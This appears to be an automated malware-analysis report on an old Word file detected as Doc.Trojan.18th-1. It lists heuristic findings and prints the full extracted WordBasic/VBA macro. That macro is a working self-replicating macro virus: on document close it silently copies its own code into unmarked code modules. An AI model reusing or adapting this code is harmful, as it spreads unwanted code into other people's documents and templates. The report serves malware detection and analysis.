MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is a legacy Word document containing a WordBasic AutoClose macro. This macro is designed to obfuscate and potentially modify its own code upon document closure, a common technique for executing malicious payloads. The ClamAV detection 'Doc.Trojan.18th-1' further supports its malicious nature. No specific family could be identified due to the generic nature of the macro.
Heuristics 4
-
ClamAV: Doc.Trojan.18th-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.18th-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 837 bytes |
SHA-256: e1e1b738737ebf89dd0bf3d4ce2e0375586f544ee35a3920ebe3eae7e4f94f53 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Copyright (C) 1998 by FlyShadow ~^^~ - 18th
Sub AutoClose(): Document_Close: End Sub
Private Sub Document_Close()
On Error Resume Next
For ι = 1 To VBE.CodePanes.Count
Set υ = VBE.CodePanes(ι).CodeModule
If υ.Find("~^^~", 0, 0, 0, 0) And ν = 0 Then
λ = υ.Lines(1, υ.CountOfLines): ν = 1: ι = 0
End If
If Not υ.Find("~^^~", 0, 0, 0, 0) And ν = 1 Then
υ.DeleteLines 1, υ.CountOfLines: υ.InsertLines 1, λ
End If
Next
End Sub
Private Sub UserForm_Initialize(): Document_Close: End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.